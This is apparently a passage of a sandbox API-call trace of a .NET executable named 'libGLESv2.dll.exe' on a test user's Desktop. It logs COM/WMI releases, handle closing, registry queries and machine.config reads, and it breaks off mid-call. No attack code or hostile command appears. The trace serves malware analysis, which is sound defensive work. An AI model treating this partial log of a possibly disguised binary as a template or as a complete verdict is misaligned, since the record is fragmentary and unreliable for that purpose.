CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x0 [0127.884] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d12b0) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4da240) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d8da0) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d8a30) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d86c0) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d7220) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d7fe0) returned 0x0 [0127.894] IUnknown:Release (This=0x1b4d7590) returned 0x0 [0127.898] IUnknown:Release (This=0x1b412e90) returned 0x0 [0127.898] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0127.898] IUnknown:Release (This=0x1b469f40) returned 0x0 [0127.898] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0127.898] IUnknown:Release (This=0x1b4d6eb0) returned 0x0 [0127.898] IUnknown:Release (This=0x1b4d7900) returned 0x0 [0127.898] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0129.781] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0129.781] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.781] IUnknown:Release (This=0x1b4d9b60) returned 0x1 [0129.781] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.781] WbemLocator:IUnknown:Release (This=0x1b483850) returned 0x1 [0129.781] WbemLocator:IUnknown:Release (This=0x1b483850) returned 0x0 [0129.782] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.782] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0129.782] WbemLocator:IUnknown:Release (This=0x1b4cdfc0) returned 0x0 [0129.782] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.782] WbemLocator:IUnknown:Release (This=0x1b4832d0) returned 0x1 [0129.782] WbemLocator:IUnknown:Release (This=0x1b4832d0) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] IUnknown:Release (This=0x1b4d6b40) returned 0x1 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemLocator:IUnknown:Release (This=0x1b482510) returned 0x1 [0129.783] WbemLocator:IUnknown:Release (This=0x1b482510) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0129.783] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.783] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x0 [0129.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0129.784] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x0 [0129.803] IUnknown:Release (This=0x1b412e90) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4d12b0) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4da240) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4d8a30) returned 0x0 [0129.803] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0129.804] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0129.804] IUnknown:Release (This=0x1b469f40) returned 0x0 [0129.804] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0129.804] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0131.872] EtwEventUnregister () returned 0x0 [0131.872] EtwEventUnregister () returned 0x0 [0131.904] IUnknown:Release (This=0x1b4d6b40) returned 0x0 [0131.904] IUnknown:Release (This=0x1b4d8da0) returned 0x0 [0131.904] IUnknown:Release (This=0x1b4d9480) returned 0x0 [0131.920] CloseHandle (hObject=0x2ac) returned 1 [0131.920] CloseHandle (hObject=0x488) returned 1 [0131.921] CloseHandle (hObject=0x498) returned 1 [0131.921] CloseHandle (hObject=0x478) returned 1 [0131.921] CloseHandle (hObject=0x3f8) returned 1 [0131.922] CloseHandle (hObject=0x420) returned 1 [0131.922] CloseHandle (hObject=0x424) returned 1 [0131.922] CloseHandle (hObject=0x430) returned 1 [0131.923] CloseHandle (hObject=0x2bc) returned 1 [0131.923] CloseHandle (hObject=0x6d8) returned 1 [0131.924] CloseHandle (hObject=0x3e8) returned 1 [0131.924] CloseHandle (hObject=0x3ec) returned 1 [0131.924] CloseHandle (hObject=0x4fc) returned 1 [0131.925] CloseHandle (hObject=0x2b0) returned 1 [0131.925] CloseHandle (hObject=0x3fc) returned 1 [0131.926] CloseHandle (hObject=0x2ec) returned 1 [0131.926] CloseHandle (hObject=0x2e8) returned 1 [0131.926] UnmapViewOfFile (lpBaseAddress=0x800000) returned 1 [0131.927] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0131.927] CloseHandle (hObject=0x2fc) returned 1 [0131.928] CloseHandle (hObject=0x490) returned 1 [0131.930] CoGetContextToken (in: pToken=0x1aa6ef30 | out: pToken=0x1aa6ef30) returned 0x0 [0131.930] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.930] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0131.930] WbemLocator:IUnknown:Release (This=0x1b4ced40) returned 0x0 [0131.931] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.931] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x1 [0131.931] WbemLocator:IUnknown:Release (This=0x1b4ce9e0) returned 0x0 [0131.931] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.931] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x1 [0131.931] WbemLocator:IUnknown:Release (This=0x1b4cf5b0) returned 0x0 [0131.932] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.932] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0131.932] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x0 [0131.932] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.933] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x1 [0131.933] WbemLocator:IUnknown:Release (This=0x63bb70) returned 0x0 [0131.933] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.933] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x1 [0131.933] WbemLocator:IUnknown:Release (This=0x63cd70) returned 0x0 [0131.934] IUnknown:Release (This=0x6124d0) returned 0x0 [0131.934] CoGetContextToken (in: pToken=0x1aa6ef30 | out: pToken=0x1aa6ef30) returned 0x0 [0131.934] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.934] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0131.934] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0131.934] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.934] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0131.934] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x0 [0131.935] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x0 [0131.935] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x0 [0131.935] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.935] WbemDefPath:IUnknown:Release (This=0x655eb0) returned 0x1 [0131.935] WbemDefPath:IUnknown:Release (This=0x655eb0) returned 0x0 [0131.935] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x0 [0131.935] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.935] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0131.936] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x0 [0131.936] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x0 [0131.936] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x0 [0131.936] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0131.936] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.937] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0131.937] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0131.937] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ef30 | out: pToken=0x1aa6ef30) returned 0x0 [0131.937] CoGetContextToken (in: pToken=0x1aa6ee30 | out: pToken=0x1aa6ee30) returned 0x0 [0131.938] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0131.938] Release () returned 0x1 Thread: id = 5 os_tid = 0xd58 Thread: id = 6 os_tid = 0xd5c Thread: id = 7 os_tid = 0xd54 Thread: id = 8 os_tid = 0xd50 [0069.281] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0069.282] CoGetContextToken (in: pToken=0x1b20f620 | out: pToken=0x1b20f620) returned 0x0 [0069.282] CObjectContext::QueryInterface () returned 0x0 [0069.282] CObjectContext::GetCurrentThreadType () returned 0x0 [0069.282] Release () returned 0x0 [0069.282] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0069.283] CoUninitialize () [0069.283] RoInitialize () returned 0x1 [0069.283] RoUninitialize () returned 0x0 [0070.580] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b20bb38 | out: phkResult=0x1b20bb38*=0x0) returned 0x2 [0070.587] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b20e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0102.531] CoUninitialize () Thread: id = 9 os_tid = 0xd4c Thread: id = 10 os_tid = 0x10e0 [0070.906] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0070.907] CoGetContextToken (in: pToken=0x1b30f8b0 | out: pToken=0x1b30f8b0) returned 0x0 [0070.907] CObjectContext::QueryInterface () returned 0x0 [0070.907] CObjectContext::GetCurrentThreadType () returned 0x0 [0070.907] Release () returned 0x0 [0070.907] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0070.907] CoUninitialize () [0070.907] RoInitialize () returned 0x1 [0070.907] RoUninitialize () returned 0x0 [0072.761] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e8 [0072.763] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2ec [0072.794] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b30c6c8 | out: phkResult=0x1b30c6c8*=0x2f0) returned 0x0 [0072.796] RegQueryValueExW (in: hKey=0x2f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b30c718, lpData=0x0, lpcbData=0x1b30c710*=0x0 | out: lpType=0x1b30c718*=0x1, lpData=0x0, lpcbData=0x1b30c710*=0xe) returned 0x0 [0072.796] RegQueryValueExW (in: hKey=0x2f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b30c718, lpData=0x2535778, lpcbData=0x1b30c710*=0xe | out: lpType=0x1b30c718*=0x1, lpData="Client", lpcbData=0x1b30c710*=0xe) returned 0x0 [0072.797] RegCloseKey (hKey=0x2f0) returned 0x0 [0073.742] GetCurrentProcess () returned 0xffffffffffffffff [0073.742] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c018 | out: TokenHandle=0x1b30c018*=0x2f0) returned 1 [0073.784] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b30ba30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0073.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b30c0c0 | out: lpFileInformation=0x1b30c0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0073.788] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b30ba50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0073.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b30c0b8 | out: lpFileInformation=0x1b30c0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0073.791] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b30ba50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0073.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30bf30) returned 1 [0073.792] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2f4 [0073.792] GetFileType (hFile=0x2f4) returned 0x1 [0073.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30bea0) returned 1 [0073.792] GetFileType (hFile=0x2f4) returned 0x1 [0073.852] GetFileSize (in: hFile=0x2f4, lpFileSizeHigh=0x1b30c008 | out: lpFileSizeHigh=0x1b30c008*=0x0) returned 0x8c8f [0073.853] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bf78, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bf78*=0x1000, lpOverlapped=0x0) returned 1 [0073.862] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bd58, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bd58*=0x1000, lpOverlapped=0x0) returned 1 [0073.865] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bb48, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bb48*=0x1000, lpOverlapped=0x0) returned 1 [0073.866] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bb48, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bb48*=0x1000, lpOverlapped=0x0) returned 1 [0073.866] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bb48, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bb48*=0x1000, lpOverlapped=0x0) returned 1 [0073.867] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30ba08, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30ba08*=0x1000, lpOverlapped=0x0) returned 1 [0073.873] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bc48, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bc48*=0x1000, lpOverlapped=0x0) returned 1 [0073.875] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30baf8, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30baf8*=0x1000, lpOverlapped=0x0) returned 1 [0073.875] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30baf8, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30baf8*=0xc8f, lpOverlapped=0x0) returned 1 [0073.875] ReadFile (in: hFile=0x2f4, lpBuffer=0x253a0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b30bc18, lpOverlapped=0x0 | out: lpBuffer=0x253a0c0*, lpNumberOfBytesRead=0x1b30bc18*=0x0, lpOverlapped=0x0) returned 1 [0073.875] CloseHandle (hObject=0x2f4) returned 1 [0073.877] GetCurrentProcess () returned 0xffffffffffffffff [0073.877] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c248 | out: TokenHandle=0x1b30c248*=0x2f4) returned 1 [0073.878] GetCurrentProcess () returned 0xffffffffffffffff [0073.878] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c248 | out: TokenHandle=0x1b30c248*=0x2c0) returned 1 [0073.879] GetCurrentProcess () returned 0xffffffffffffffff [0073.879] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c018 | out: TokenHandle=0x1b30c018*=0x2f8) returned 1 [0073.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b30c0c0 | out: lpFileInformation=0x1b30c0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0073.879] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe.config", nBufferLength=0x105, lpBuffer=0x1b30ba50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe.config", lpFilePart=0x0) returned 0x36 [0073.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b30c0b8 | out: lpFileInformation=0x1b30c0b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0073.880] GetCurrentProcess () returned 0xffffffffffffffff [0073.880] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c248 | out: TokenHandle=0x1b30c248*=0x2fc) returned 1 [0073.881] GetCurrentProcess () returned 0xffffffffffffffff [0073.881] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30c248 | out: TokenHandle=0x1b30c248*=0x300) returned 1 [0073.903] GetCurrentProcess () returned 0xffffffffffffffff [0073.903] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30bfa8 | out: TokenHandle=0x1b30bfa8*=0x304) returned 1 [0073.923] GetCurrentProcess () returned 0xffffffffffffffff [0073.923] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30bfb8 | out: TokenHandle=0x1b30bfb8*=0x308) returned 1 [0073.947] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b30e488 | out: phkResult=0x1b30e488*=0x30c) returned 0x0 [0073.948] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b30e4c8, lpData=0x0, lpcbData=0x1b30e4c0*=0x0 | out: lpType=0x1b30e4c8*=0x4, lpData=0x0, lpcbData=0x1b30e4c0*=0x4) returned 0x0 [0073.950] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b30e4c8, lpData=0x1b30e4a8, lpcbData=0x1b30e4c0*=0x4 | out: lpType=0x1b30e4c8*=0x4, lpData=0x1b30e4a8*=0x1, lpcbData=0x1b30e4c0*=0x4) returned 0x0 [0073.952] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", 